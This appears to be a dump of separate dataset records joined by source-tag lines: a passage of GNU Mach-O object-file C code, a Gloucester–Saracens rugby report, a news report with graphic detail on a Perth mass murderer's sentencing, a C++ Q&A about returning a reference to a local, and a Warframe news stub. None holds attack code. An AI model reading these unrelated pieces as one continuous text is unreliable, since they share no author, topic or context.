*errmsg = "GNU Mach-o section wrapper: required section missing";
*err = 0; /* No useful errno. */
XDELETEVEC (secdata);
return 0;
}
/* Fetch the name table. */
simple_object_mach_o_section_info (omr->is_big_endian, is_32,
secdata + nametab_index * sechdrsize,
&nametab_offset, &nametab_size);
nametab = XNEWVEC (char, nametab_size);
if (!simple_object_internal_read (sobj->descriptor,
sobj->offset + nametab_offset,
(unsigned char *) nametab, nametab_size,
errmsg, err))
{
XDELETEVEC (nametab);
XDELETEVEC (secdata);
return 0;
}
/* Fetch the index. */
simple_object_mach_o_section_info (omr->is_big_endian, is_32,
secdata + index_index * sechdrsize,
&index_offset, &index_size);
index = XNEWVEC (unsigned char, index_size);
if (!simple_object_internal_read (sobj->descriptor,
sobj->offset + index_offset,
index, index_size,
errmsg, err))
{
XDELETEVEC (index);
XDELETEVEC (nametab);
XDELETEVEC (secdata);
return 0;
}
/* The index contains 4 unsigned ints per sub-section:
sub-section offset/length, sub-section name/length.
We fix this for both 32 and 64 bit mach-o for now, since
other fields limit the maximum size of an object to 4G. */
n_wrapped_sects = index_size / 16;
/* Get the parameters for the wrapper too. */
simple_object_mach_o_section_info (omr->is_big_endian, is_32,
secdata + sections_index * sechdrsize,
&wrapper_sect_offset,
&wrapper_sect_size);
}
else
{
index = NULL;
index_size = 0;
nametab = NULL;
nametab_size = 0;
n_wrapped_sects = 0;
}
/* If we have a long names section, fetch it. */
if ((gnu_sections_found & SOMO_LONGN_PRESENT) != 0)
{
off_t strtab_offset;
simple_object_mach_o_section_info (omr->is_big_endian, is_32,
secdata + strtab_index * sechdrsize,
&strtab_offset, &strtab_size);
strtab = XNEWVEC (char, strtab_size);
if (!simple_object_internal_read (sobj->descriptor,
sobj->offset + strtab_offset,
(unsigned char *) strtab, strtab_size,
errmsg, err))
{
XDELETEVEC (strtab);
XDELETEVEC (index);
XDELETEVEC (nametab);
XDELETEVEC (secdata);
return 0;
}
}
else
{
strtab = NULL;
strtab_size = 0;
strtab_index = nsects;
}
/* Process the sections. */
for (i = 0; i < nsects; ++i)
{
const unsigned char *sechdr;
char namebuf[MACH_O_NAME_LEN * 2 + 2];
char *name;
off_t secoffset;
size_t secsize;
int l;
sechdr = secdata + i * sechdrsize;
/* We've already processed the long section names. */
if ((gnu_sections_found & SOMO_LONGN_PRESENT) != 0
&& i == strtab_index)
continue;
/* We only act on the segment named. */
if (strcmp ((char *) sechdr + segname_offset, omr->segment_name) != 0)
continue;
/* Process sections associated with the wrapper. */
if ((gnu_sections_found & SOMO_WRAPPING) != 0)
{
if (i == nametab_index || i == index_index)
continue;
if (i == sections_index)
{
unsigned int j;
for (j = 0; j < n_wrapped_sects; ++j)
{
unsigned int subsect_offset, subsect_length, name_offset;
subsect_offset = (*fetch_32) (index + 16 * j);
subsect_length = (*fetch_32) (index + 16 * j + 4);
name_offset = (*fetch_32) (index + 16 * j + 8);
/* We don't need the name_length yet. */
secoffset = wrapper_sect_offset + subsect_offset;
secsize = subsect_length;
name = nametab + name_offset;
if (!(*pfn) (data, name, secoffset, secsize))
{
*errmsg = NULL;
*err = 0;
XDELETEVEC (index);
XDELETEVEC (nametab);
XDELETEVEC (strtab);
XDELETEVEC (secdata);
return 0;
}
}
continue;
}
}
if ((gnu_sections_found & SOMO_LONGN_PRESENT) != 0)
{
memcpy (namebuf, sechdr + sectname_offset, MACH_O_NAME_LEN);
namebuf[MACH_O_NAME_LEN] = '\0';
name = &namebuf[0];
if (strtab != NULL && name[0] == '_' && name[1] == '_')
{
unsigned long stringoffset;
if (sscanf (name + 2, "%08lX", &stringoffset) == 1)
{
if (stringoffset >= strtab_size)
{
*errmsg = "section name offset out of range";
*err = 0;
XDELETEVEC (index);
XDELETEVEC (nametab);
XDELETEVEC (strtab);
XDELETEVEC (secdata);
return 0;
}
name = strtab + stringoffset;
}
}
}
else
{
/* Otherwise, make a name like __segment,__section as per the
convention in mach-o asm. */
name = &namebuf[0];
memcpy (namebuf, (char *) sechdr + segname_offset, MACH_O_NAME_LEN);
namebuf[MACH_O_NAME_LEN] = '\0';
l = strlen (namebuf);
namebuf[l] = ',';
memcpy (namebuf + l + 1, (char *) sechdr + sectname_offset,
MACH_O_NAME_LEN);
namebuf[l + 1 + MACH_O_NAME_LEN] = '\0';
}
simple_object_mach_o_section_info (omr->is_big_endian, is_32, sechdr,
&secoffset, &secsize);
if (!(*pfn) (data, name, secoffset, secsize))
{
*errmsg = NULL;
*err = 0;
XDELETEVEC (index);
XDELETEVEC (nametab);
XDELETEVEC (strtab);
XDELETEVEC (secdata);
return 0;
}
}
XDELETEVEC (index);
XDELETEVEC (nametab);
XDELETEVEC (strtab);
XDELETEVEC (secdata);
return 1;
}
/* Find all sections in a Mach-O file. */
static const char *
simple_object_mach_o_find_sections (simple_object_read *sobj,
int (*pfn) (void *, const char *,
off_t offset, off_t length),
void *data,
int *err)
{
struct simple_object_mach_o_read *omr =
(struct simple_object_mach_o_read *) sobj->data;
off_t offset;
size_t seghdrsize;
unsigned int (*fetch_32) (const unsigned char *);
const char *errmsg;
unsigned int i;
if (omr->magic == MACH_O_MH_MAGIC)
{
offset = sizeof (struct mach_o_header_32);
seghdrsize = sizeof (struct mach_o_segment_command_32);
}
else
{
offset = sizeof (struct mach_o_header_64);
seghdrsize = sizeof (struct mach_o_segment_command_64);
}
fetch_32 = (omr->is_big_endian
? simple_object_fetch_big_32
: simple_object_fetch_little_32);
for (i = 0; i < omr->ncmds; ++i)
{
unsigned char loadbuf[sizeof (struct mach_o_load_command)];
unsigned int cmd;
unsigned int cmdsize;
if (!simple_object_internal_read (sobj->descriptor,
sobj->offset + offset,
loadbuf,
sizeof (struct mach_o_load_command),
&errmsg, err))
return errmsg;
cmd = (*fetch_32) (loadbuf + offsetof (struct mach_o_load_command, cmd));
cmdsize = (*fetch_32) (loadbuf
+ offsetof (struct mach_o_load_command, cmdsize));
if (cmd == MACH_O_LC_SEGMENT || cmd == MACH_O_LC_SEGMENT_64)
{
unsigned char segbuf[sizeof (struct mach_o_segment_command_64)];
int r;
if (!simple_object_internal_read (sobj->descriptor,
sobj->offset + offset,
segbuf, seghdrsize, &errmsg, err))
return errmsg;
r = simple_object_mach_o_segment (sobj, offset, segbuf, pfn,
data, &errmsg, err);
if (!r)
return errmsg;
}
offset += cmdsize;
}
return NULL;
}
/* Fetch the attributes for an simple_object_read. */
static void *
simple_object_mach_o_fetch_attributes (simple_object_read *sobj,
const char **errmsg ATTRIBUTE_UNUSED,
int *err ATTRIBUTE_UNUSED)
{
struct simple_object_mach_o_read *omr =
(struct simple_object_mach_o_read *) sobj->data;
struct simple_object_mach_o_attributes *ret;
ret = XNEW (struct simple_object_mach_o_attributes);
ret->magic = omr->magic;
ret->is_big_endian = omr->is_big_endian;
ret->cputype = omr->cputype;
ret->cpusubtype = omr->cpusubtype;
ret->flags = omr->flags;
ret->reserved = omr->reserved;
return ret;
}
/* Release the private data for an simple_object_read. */
static void
simple_object_mach_o_release_read (void *data)
{
struct simple_object_mach_o_read *omr =
(struct simple_object_mach_o_read *) data;
free (omr->segment_name);
XDELETE (omr);
}
/* Compare two attributes structures. */
static const char *
simple_object_mach_o_attributes_merge (void *todata, void *fromdata, int *err)
{
struct simple_object_mach_o_attributes *to =
(struct simple_object_mach_o_attributes *) todata;
struct simple_object_mach_o_attributes *from =
(struct simple_object_mach_o_attributes *) fromdata;
if (to->magic != from->magic
|| to->is_big_endian != from->is_big_endian
|| to->cputype != from->cputype)
{
*err = 0;
return "Mach-O object format mismatch";
}
return NULL;
}
/* Release the private data for an attributes structure. */
static void
simple_object_mach_o_release_attributes (void *data)
{
XDELETE (data);
}
/* Prepare to write out a file. */
static void *
simple_object_mach_o_start_write (void *attributes_data,
const char **errmsg ATTRIBUTE_UNUSED,
int *err ATTRIBUTE_UNUSED)
{
struct simple_object_mach_o_attributes *attrs =
(struct simple_object_mach_o_attributes *) attributes_data;
struct simple_object_mach_o_attributes *ret;
/* We're just going to record the attributes, but we need to make a
copy because the user may delete them. */
ret = XNEW (struct simple_object_mach_o_attributes);
*ret = *attrs;
return ret;
}
/* Write out the header of a Mach-O file. */
static int
simple_object_mach_o_write_header (simple_object_write *sobj, int descriptor,
size_t nsects, const char **errmsg,
int *err)
{
struct simple_object_mach_o_attributes *attrs =
(struct simple_object_mach_o_attributes *) sobj->data;
void (*set_32) (unsigned char *, unsigned int);
unsigned char hdrbuf[sizeof (struct mach_o_header_64)];
unsigned char *hdr;
size_t wrsize;
set_32 = (attrs->is_big_endian
? simple_object_set_big_32
: simple_object_set_little_32);
memset (hdrbuf, 0, sizeof hdrbuf);
/* The 32-bit and 64-bit headers start out the same. */
hdr = &hdrbuf[0];
set_32 (hdr + offsetof (struct mach_o_header_32, magic), attrs->magic);
set_32 (hdr + offsetof (struct mach_o_header_32, cputype), attrs->cputype);
set_32 (hdr + offsetof (struct mach_o_header_32, cpusubtype),
attrs->cpusubtype);
set_32 (hdr + offsetof (struct mach_o_header_32, filetype), MACH_O_MH_OBJECT);
set_32 (hdr + offsetof (struct mach_o_header_32, ncmds), 1);
set_32 (hdr + offsetof (struct mach_o_header_32, flags), attrs->flags);
if (attrs->magic == MACH_O_MH_MAGIC)
{
wrsize = sizeof (struct mach_o_header_32);
set_32 (hdr + offsetof (struct mach_o_header_32, sizeofcmds),
(sizeof (struct mach_o_segment_command_32)
+ nsects * sizeof (struct mach_o_section_32)));
}
else
{
set_32 (hdr + offsetof (struct mach_o_header_64, sizeofcmds),
(sizeof (struct mach_o_segment_command_64)
+ nsects * sizeof (struct mach_o_section_64)));
set_32 (hdr + offsetof (struct mach_o_header_64, reserved),
attrs->reserved);
wrsize = sizeof (struct mach_o_header_64);
}
return simple_object_internal_write (descriptor, 0, hdrbuf, wrsize,
errmsg, err);
}
/* Write a Mach-O section header. */
static int
simple_object_mach_o_write_section_header (simple_object_write *sobj,
int descriptor,
size_t sechdr_offset,
const char *name, const char *segn,
size_t secaddr, size_t secsize,
size_t offset, unsigned int align,
const char **errmsg, int *err)
{
struct simple_object_mach_o_attributes *attrs =
(struct simple_object_mach_o_attributes *) sobj->data;
void (*set_32) (unsigned char *, unsigned int);
unsigned char hdrbuf[sizeof (struct mach_o_section_64)];
unsigned char *hdr;
size_t sechdrsize;
set_32 = (attrs->is_big_endian
? simple_object_set_big_32
: simple_object_set_little_32);
memset (hdrbuf, 0, sizeof hdrbuf);
hdr = &hdrbuf[0];
if (attrs->magic == MACH_O_MH_MAGIC)
{
strncpy ((char *) hdr + offsetof (struct mach_o_section_32, sectname),
name, MACH_O_NAME_LEN);
strncpy ((char *) hdr + offsetof (struct mach_o_section_32, segname),
segn, MACH_O_NAME_LEN);
set_32 (hdr + offsetof (struct mach_o_section_32, addr), secaddr);
set_32 (hdr + offsetof (struct mach_o_section_32, size), secsize);
set_32 (hdr + offsetof (struct mach_o_section_32, offset), offset);
set_32 (hdr + offsetof (struct mach_o_section_32, align), align);
/* reloff left as zero. */
/* nreloc left as zero. */
set_32 (hdr + offsetof (struct mach_o_section_32, flags),
MACH_O_S_ATTR_DEBUG);
/* reserved1 left as zero. */
/* reserved2 left as zero. */
sechdrsize = sizeof (struct mach_o_section_32);
}
else
{
#ifdef UNSIGNED_64BIT_TYPE
void (*set_64) (unsigned char *, ulong_type);
set_64 = (attrs->is_big_endian
? simple_object_set_big_64
: simple_object_set_little_64);
strncpy ((char *) hdr + offsetof (struct mach_o_section_64, sectname),
name, MACH_O_NAME_LEN);
strncpy ((char *) hdr + offsetof (struct mach_o_section_64, segname),
segn, MACH_O_NAME_LEN);
set_64 (hdr + offsetof (struct mach_o_section_64, addr), secaddr);
set_64 (hdr + offsetof (struct mach_o_section_64, size), secsize);
set_32 (hdr + offsetof (struct mach_o_section_64, offset), offset);
set_32 (hdr + offsetof (struct mach_o_section_64, align), align);
/* reloff left as zero. */
/* nreloc left as zero. */
set_32 (hdr + offsetof (struct mach_o_section_64, flags),
MACH_O_S_ATTR_DEBUG);
/* reserved1 left as zero. */
/* reserved2 left as zero. */
/* reserved3 left as zero. */
#endif
sechdrsize = sizeof (struct mach_o_section_64);
}
return simple_object_internal_write (descriptor, sechdr_offset, hdr,
sechdrsize, errmsg, err);
}
/* Write out the single (anonymous) segment containing the sections of a Mach-O
Object file.
As a GNU extension to mach-o, when the caller specifies a segment name in
sobj->segment_name, all the sections passed will be output under a single
mach-o section header. The caller's sections are indexed within this
'wrapper' section by a table stored in a second mach-o section. Finally,
arbitrary length section names are permitted by the extension and these are
stored in a table in a third mach-o section.
Note that this is only likely to make any sense for the __GNU_LTO segment
at present.
If the wrapper extension is not in force, we assume that the section name
is in the form __SEGMENT_NAME,__section_name as per Mach-O asm. */
static int
simple_object_mach_o_write_segment (simple_object_write *sobj, int descriptor,
size_t *nsects, const char **errmsg,
int *err)
{
struct simple_object_mach_o_attributes *attrs =
(struct simple_object_mach_o_attributes *) sobj->data;
void (*set_32) (unsigned char *, unsigned int);
size_t hdrsize;
size_t seghdrsize;
size_t sechdrsize;
size_t cmdsize;
size_t offset;
size_t sechdr_offset;
size_t secaddr;
unsigned int name_offset;
simple_object_write_section *section;
unsigned char hdrbuf[sizeof (struct mach_o_segment_command_64)];
unsigned char *hdr;
size_t nsects_in;
unsigned int *index;
char *snames;
unsigned int sect;
set_32 = (attrs->is_big_endian
? simple_object_set_big_32
: simple_object_set_little_32);
/* Write out the sections first. */
if (attrs->magic == MACH_O_MH_MAGIC)
{
hdrsize = sizeof (struct mach_o_header_32);
seghdrsize = sizeof (struct mach_o_segment_command_32);
sechdrsize = sizeof (struct mach_o_section_32);
}
else
{
hdrsize = sizeof (struct mach_o_header_64);
seghdrsize = sizeof (struct mach_o_segment_command_64);
sechdrsize = sizeof (struct mach_o_section_64);
}
name_offset = 0;
*nsects = nsects_in = 0;
/* Count the number of sections we start with. */
for (section = sobj->sections; section != NULL; section = section->next)
nsects_in++;
if (sobj->segment_name != NULL)
{
/* We will only write 3 sections: wrapped data, index and names. */
*nsects = 3;
/* The index has four entries per wrapped section:
Section Offset, length, Name offset, length.
Where the offsets are based at the start of the wrapper and name
sections respectively.
The values are stored as 32 bit int for both 32 and 64 bit mach-o
since the size of a mach-o MH_OBJECT cannot exceed 4G owing to
other constraints. */
index = XNEWVEC (unsigned int, nsects_in * 4);
/* We now need to figure out the size of the names section. This just
stores the names as null-terminated c strings, packed without any
alignment padding. */
for (section = sobj->sections, sect = 0; section != NULL;
section = section->next, sect++)
{
index[sect*4+2] = name_offset;
index[sect*4+3] = strlen (section->name) + 1;
name_offset += strlen (section->name) + 1;
}
snames = XNEWVEC (char, name_offset);
}
else
{
*nsects = nsects_in;
index = NULL;
snames = NULL;
}
sechdr_offset = hdrsize + seghdrsize;
cmdsize = seghdrsize + *nsects * sechdrsize;
offset = hdrsize + cmdsize;
secaddr = 0;
for (section = sobj->sections, sect = 0;
section != NULL; section = section->next, sect++)
{
size_t mask;
size_t new_offset;
size_t secsize;
struct simple_object_write_section_buffer *buffer;
mask = (1U << section->align) - 1;
new_offset = offset + mask;
new_offset &= ~ mask;
while (new_offset > offset)
{
unsigned char zeroes[16];
size_t write;
memset (zeroes, 0, sizeof zeroes);
write = new_offset - offset;
if (write > sizeof zeroes)
write = sizeof zeroes;
if (!simple_object_internal_write (descriptor, offset, zeroes, write,
errmsg, err))
return 0;
offset += write;
}
secsize = 0;
for (buffer = section->buffers; buffer != NULL; buffer = buffer->next)
{
if (!simple_object_internal_write (descriptor, offset + secsize,
((const unsigned char *)
buffer->buffer),
buffer->size, errmsg, err))
return 0;
secsize += buffer->size;
}
if (sobj->segment_name != NULL)
{
index[sect*4+0] = (unsigned int) offset;
index[sect*4+1] = secsize;
/* Stash the section name in our table. */
memcpy (snames + index[sect * 4 + 2], section->name,
index[sect * 4 + 3]);
}
else
{
char namebuf[MACH_O_NAME_LEN + 1];
char segnbuf[MACH_O_NAME_LEN + 1];
char *comma;
/* Try to extract segment,section from the input name. */
memset (namebuf, 0, sizeof namebuf);
memset (segnbuf, 0, sizeof segnbuf);
comma = strchr (section->name, ',');
if (comma != NULL)
{
int len = comma - section->name;
len = len > MACH_O_NAME_LEN ? MACH_O_NAME_LEN : len;
strncpy (namebuf, section->name, len);
strncpy (segnbuf, comma + 1, MACH_O_NAME_LEN);
}
else /* just try to copy the name, leave segment blank. */
strncpy (namebuf, section->name, MACH_O_NAME_LEN);
if (!simple_object_mach_o_write_section_header (sobj, descriptor,
sechdr_offset,
namebuf, segnbuf,
secaddr, secsize,
offset,
section->align,
errmsg, err))
return 0;
sechdr_offset += sechdrsize;
}
offset += secsize;
secaddr += secsize;
}
if (sobj->segment_name != NULL)
{
size_t secsize;
unsigned int i;
/* Write the section header for the wrapper. */
/* Account for any initial aligment - which becomes the alignment for this
created section. */
secsize = (offset - index[0]);
if (!simple_object_mach_o_write_section_header (sobj, descriptor,
sechdr_offset,
GNU_WRAPPER_SECTS,
sobj->segment_name,
0 /*secaddr*/,
secsize, index[0],
sobj->sections->align,
errmsg, err))
return 0;
/* Subtract the wrapper section start from the begining of each sub
section. */
for (i = 1; i < nsects_in; ++i)
index[4 * i] -= index[0];
index[0] = 0;
sechdr_offset += sechdrsize;
/* Write out the section names.
... the header ...
name_offset contains the length of the section. It is not aligned. */
if (!simple_object_mach_o_write_section_header (sobj, descriptor,
sechdr_offset,
GNU_WRAPPER_NAMES,
sobj->segment_name,
0 /*secaddr*/,
name_offset,
offset,
0, errmsg, err))
return 0;
/* ... and the content.. */
if (!simple_object_internal_write (descriptor, offset,
(const unsigned char *) snames,
name_offset, errmsg, err))
return 0;
sechdr_offset += sechdrsize;
secaddr += name_offset;
offset += name_offset;
/* Now do the index, we'll align this to 4 bytes although the read code
will handle unaligned. */
offset += 3;
offset &= ~0x03;
if (!simple_object_mach_o_write_section_header (sobj, descriptor,
sechdr_offset,
GNU_WRAPPER_INDEX,
sobj->segment_name,
0 /*secaddr*/,
nsects_in * 16,
offset,
2, errmsg, err))
return 0;
/* ... and the content.. */
if (!simple_object_internal_write (descriptor, offset,
(const unsigned char *) index,
nsects_in*16, errmsg, err))
return 0;
XDELETEVEC (index);
XDELETEVEC (snames);
}
/* Write out the segment header. */
memset (hdrbuf, 0, sizeof hdrbuf);
hdr = &hdrbuf[0];
if (attrs->magic == MACH_O_MH_MAGIC)
{
set_32 (hdr + offsetof (struct mach_o_segment_command_32, cmd),
MACH_O_LC_SEGMENT);
set_32 (hdr + offsetof (struct mach_o_segment_command_32, cmdsize),
cmdsize);
/* MH_OBJECTS have a single, anonymous, segment - so the segment name
is left empty. */
/* vmaddr left as zero. */
/* vmsize left as zero. */
set_32 (hdr + offsetof (struct mach_o_segment_command_32, fileoff),
hdrsize + cmdsize);
set_32 (hdr + offsetof (struct mach_o_segment_command_32, filesize),
offset - (hdrsize + cmdsize));
/* maxprot left as zero. */
/* initprot left as zero. */
set_32 (hdr + offsetof (struct mach_o_segment_command_32, nsects),
*nsects);
/* flags left as zero. */
}
else
{
#ifdef UNSIGNED_64BIT_TYPE
void (*set_64) (unsigned char *, ulong_type);
set_64 = (attrs->is_big_endian
? simple_object_set_big_64
: simple_object_set_little_64);
set_32 (hdr + offsetof (struct mach_o_segment_command_64, cmd),
MACH_O_LC_SEGMENT);
set_32 (hdr + offsetof (struct mach_o_segment_command_64, cmdsize),
cmdsize);
/* MH_OBJECTS have a single, anonymous, segment - so the segment name
is left empty. */
/* vmaddr left as zero. */
/* vmsize left as zero. */
set_64 (hdr + offsetof (struct mach_o_segment_command_64, fileoff),
hdrsize + cmdsize);
set_64 (hdr + offsetof (struct mach_o_segment_command_64, filesize),
offset - (hdrsize + cmdsize));
/* maxprot left as zero. */
/* initprot left as zero. */
set_32 (hdr + offsetof (struct mach_o_segment_command_64, nsects),
*nsects);
/* flags left as zero. */
#endif
}
return simple_object_internal_write (descriptor, hdrsize, hdr, seghdrsize,
errmsg, err);
}
/* Write out a complete Mach-O file. */
static const char *
simple_object_mach_o_write_to_file (simple_object_write *sobj, int descriptor,
int *err)
{
size_t nsects = 0;
const char *errmsg;
if (!simple_object_mach_o_write_segment (sobj, descriptor, &nsects,
&errmsg, err))
return errmsg;
if (!simple_object_mach_o_write_header (sobj, descriptor, nsects,
&errmsg, err))
return errmsg;
return NULL;
}
/* Release the private data for an simple_object_write structure. */
static void
simple_object_mach_o_release_write (void *data)
{
XDELETE (data);
}
/* The Mach-O functions. */
const struct simple_object_functions simple_object_mach_o_functions =
{
simple_object_mach_o_match,
simple_object_mach_o_find_sections,
simple_object_mach_o_fetch_attributes,
simple_object_mach_o_release_read,
simple_object_mach_o_attributes_merge,
simple_object_mach_o_release_attributes,
simple_object_mach_o_start_write,
simple_object_mach_o_write_to_file,
simple_object_mach_o_release_write,
NULL
};
|
{
"pile_set_name": "Github"
}
|
Lamb scored 19 points, including two tries in three minutes at the start of a one-sided second period, as Gloucester romped home.
They finished with six tries - centre James Simpson-Daniel, flanker Akapusi Qera, wing Lesley Vainikolo and scrum-half Rory Lawson also touched down - but it could have been more, such was their dominance.
Head coach Dean Ryan will be thrilled by his team's response a week after crashing out of the Heineken Cup at home to Munster.
In contrast, Saracens were brought crashing to earth with a thud following the highs of their Heineken quarter-final success against star-studded Welsh side the Ospreys.
The visitors claimed two injury-time consolation tries - centre Adam Powell and number eight Ben Skirving were the scorers - while Glen Jackson kicked a penalty and Gordon Ross booted a conversion, but they were outclassed.
Gloucester's lead at the top could be cut by title rivals Bath, Harlequins or Leicester during the next three days, yet they could take some dislodging from pole position.
Injury-hit Saracens were without full-back Brent Russell, wing Francisco Leonelli, centre Andy Farrell and flanker Paul Gustard, although only Farrell - who underwent shoulder surgery on Friday - is a confirmed non-starter for their Munster semi-final on April 27.
Ryan, meanwhile, made five changes following his team's European exit, which included England centre Mike Tindall making his first Premiership appearance since January 26.
Tindall suffered a torn liver, punctured lung and internal bleeding while on RBS 6 Nations duty a week later, problems which put him in the intensive care unit of a London hospital for three days.
Tindall partnered Simpson-Daniel in midfield, but Scotland star Chris Paterson, who missed three first-half penalties against Munster, was replaced on the wing by Iain Balshaw.
Saracens should have taken an early lead when wing Dan Scarbrough burst through a yawning midfield gap, but the chance went begging when he threw out a reckless pass.
The Saracens coaching staff were aghast at Scarbrough's dreadful execution, and Gloucester took just a further 11 minutes to make the visitors pay by claiming two well-crafted tries.
Simpson-Daniel collected the opener, finishing off a sweeping move that featured telling bursts from Qera and skipper Marco Bortolami.
Lamb converted from the touchline, before Saracens were opened up again and Qera touched down after fielding Balshaw's long, accurate pass.
Stung into action, Saracens produced a sustained spell of pressure that featured powerful contributions by Hugh Vyvyan and Skirving, yet a Jackson penalty proved their solitary reward.
And Gloucester restored a 12-point advantage on the stroke of half-time when Lamb landed an angled penalty, leaving Saracens facing an uphill task.
Saracens' victory hopes evaporated within six minutes of the restart when they conceded two more tries - and both touchdowns had origins in their own mistakes.
A poor clearance kick led to the first, although there was little Saracens could do to stop Lamb's brilliant run as he side-stepped his way over, beating three players in the process.
|
{
"pile_set_name": "Pile-CC"
}
|
A 25-year-old Perth man who murdered five members of his family, including his three young daughters, has become the first person in WA to be jailed for life with an order he never be released from prison.
Key points: Anthony Harvey killed his family in a Perth home with knives and blunt instruments
Anthony Harvey killed his family in a Perth home with knives and blunt instruments He stayed in the house with the bodies for five days after the attacks
He stayed in the house with the bodies for five days after the attacks He then turned himself in at a remote police station in WA's Pilbara
Anthony Robert Harvey admitted responsibility for what is one of WA's worst mass killings — the murders of his 41-year-old wife Mara, their daughters Charlotte, three, and two-year-old twins Alice and Beatrix, and their grandmother Beverley Quinn, 73.
They were all killed at the family's Bedford home in September last year, with the Supreme Court told Harvey had planned the crimes for days and written in a journal about eliminating his family.
Justice Stephen Hall sentenced Harvey to life on Friday, saying "there is no other case that is truly comparable".
WARNING: This story contains graphic content that some readers may find upsetting
Harvey stabbed to death his wife Mara (left), their three children and Mara's mother. ( Facebook: Mara Quinn )
Harvey stayed in house with bodies
Mara Harvey was the first to die — she was hit with a piece of pipe when she returned home from her night fill job at a local Coles supermarket and was then stabbed.
Harvey then targeted his daughters, who were stabbed while they were sleeping, with one suffering 38 wounds.
Beverley Quinn and family (from left to right) Charlotte, Beatrix and Alice were murdered in September 2018. ( Supplied )
The next morning, when Ms Quinn turned up as usual to help look after the family, she was hit with the pipe and then stabbed.
Harvey stayed in the house for five days with the bodies, which he photographed after covering them with blankets and bunches of flowers.
Ms Harvey's body had been moved to the children's bedroom, where he said he had arranged the bodies to appear as though she was cuddling the girls, whose favourite toys he placed around them.
He wrote letters to the victims, saying he loved them, he was sorry and that he had lost his mind.
Harvey then sold some of his belongings as well as some women's jewellery and he withdrew money from his wife's bank account before driving to the Pilbara town of Pannawonica, where his parents lived.
Once there he confessed his crimes to his father.
"I've done something really wrong Dad … I hurt them all of them," he said.
Harvey's father immediately called the police.
At his sentencing hearing last month, prosecutors argued the murders were so serious Harvey had forfeited any right to a life outside jail.
Harvey and his wife Mara ran a lawnmowing business together before the attack. ( News Video )
But his lawyers said their client's young age, his pleas of guilty and his prospects for rehabilitation meant he should receive a life jail sentence, with a fixed minimum term.
No words adequate to convey magnitude of offences: Judge
Justice Hall said the order to never be released — the maximum penalty available under WA law — was reserved for the very worst cases.
"Frankly, I struggle to find words that are adequate to convey the magnitude of your offences," he said.
"Your actions are so far beyond the bounds of acceptable human conduct that they instil horror and revulsion into even the most hardened of people.
"It is necessary to make an order that you never be released in order to meet the community's interest in punishment and deterrence."
Space to play or pause, M to mute, left and right arrows to seek, up and down arrows for volume. Watch Duration: 3 minutes 13 seconds 3 m 13 s Anthony Harvey is sentenced to never be released from jail
Justice Hall said Harvey took the lives of his family members in an "exceedingly brutal manner".
He said they were all loving and much loved, and the children in particular were "so very young".
"Their potential to grow and achieve and have families of their own was cut short by your actions," he said.
"The murder of children is conduct that is held by society to be especially heinous."
Anthony Harvey will never walk free from jail after the harshest sentence handed down in WA history. ( ABC News )
Justice Hall said the children were asleep in their beds, where they "should have been safest".
"They should have been able to trust their father to protect them," he said.
"That is the most fundamental duty any parent has.
"You breached that trust and failed in that duty in the most extreme way imaginable."
Harvey was impassive throughout the sentencing.
A life sentence for killer and family
Mara Harvey's sister, Taryn Tottman, read a statement outside court, describing the sentence as "extremely suitable".
"In an ideal world, now that sentencing has been handed down, my family would return," she said.
"But I know that this will never happen.
Mara Harvey's sister Taryn Tottman (centre), said the "never to be released" order was extremely suitable. ( ABC News: Dave Weber )
"Instead, we ourselves have been given a life sentence.
"Just like the sentence handed out today but with one big difference — and that is that we did nothing wrong and nor did my family."
She asked that her family members not be known for how they died, but for who they were.
"Please remember my mum, Beverley, as a generous, committed, loving mum and friend that she was," she said.
"My sister, Mara, for her love, support and determination.
Mara Harvey was the first of the family to be attacked by her husband. ( Supplied: Facebook )
"My nieces, Charlotte for her enthusiasm and laughter, Alice for her sense of adventure and cheekiness, and Beatrix for her spirit and, of course, her hugs."
She said she wanted to thank police, forensic investigators, detectives and prosecutors, and everyone involved in the case.
Sorry, this video has expired Family members reveal heartache after Bedford mass killing
The harshest sentence ever handed down
No other person in WA has ever received a "never to be released" sentence — a provision that was introduced under changes to the state's homicide laws in 2008 by the then Labor government.
Before that, the only person who faced the possibility of never being released was William Patrick Mitchell, who murdered four members of one family with an axe in the Mid West town of Greenough in 1993.
William Patrick Mitchell was sentenced to life for murdering Karen MacKenzie and her three children. ( ABC News )
At one point there was an order that he should never be granted parole, but it was overturned on appeal.
He was then given a life term with a 20-year minimum, which expired in 2013. He applied for release on parole but was refused.
Under the legislation, offenders are eligible to be considered for parole every three years after they have completed their term.
Mitchell's applications have always been refused.
He is next due for parole consideration in September this year.
|
{
"pile_set_name": "OpenWebText2"
}
|
Q:
Why can't I return this vector of vectors?
I have a class that declares a vector of vectors of type char as the following and contains a method to read half of it and return the resulting vector.
class Mapa
{
private:
vector<vector<char> > vec;
public:
//Constructor
Mapa():vec(0,vector<char>(0)){};
Mapa(int row, int col):vec(row, vector<char>(col)){};
virtual ~Mapa(){};
}
const Mapa& just_Half()
{
Mapa temp(vec.size(),vec[0].size());
int a = vec.size()*vec[0].size()/2;
for (int i = 0; i < vec.size() && a>0; i++, a--)
for (int j = 0; j < vec[i].size() && a>0; j++, a--){
temp.vec[i][j]=vec[i][j];
}
return temp;
}
in main I do:
Mapa Mapa1(3, 10);
Mapa Mapa2;
Mapa2=Mapa1.just_Half();
My question is why is Map2 just and empty vector at the end of this?
Why doesn't it receive temp?
Thanks for any help.
A:
The issue is that your return type is a reference to a Mapa. The Mapa (named temp inside the function) you're returning is destructed when the function goes out of scope, so you're returning a destructed Mapa, which is undefined.
The solution is simple, return by value instead of by reference:
const Mapa just_Half()
{
Mapa temp(vec.size(),vec[0].size());
int a = vec.size()*vec[0].size()/2;
for (int i = 0; i < vec.size() && a>0; i++, a--)
for (int j = 0; j < vec[i].size() && a>0; j++, a--){
temp.vec[i][j]=vec[i][j];
}
return temp;
}
If you're concerned that this does an unnecessary copy, don't worry. Compilers will almost always optimize that copy operation away with return value optimization.
|
{
"pile_set_name": "StackExchange"
}
|
Game Categories:
Find us on
Warframe Reveals 35th Frame and New Game Mode
NEWS / UPDATE
Apr 17, 2018
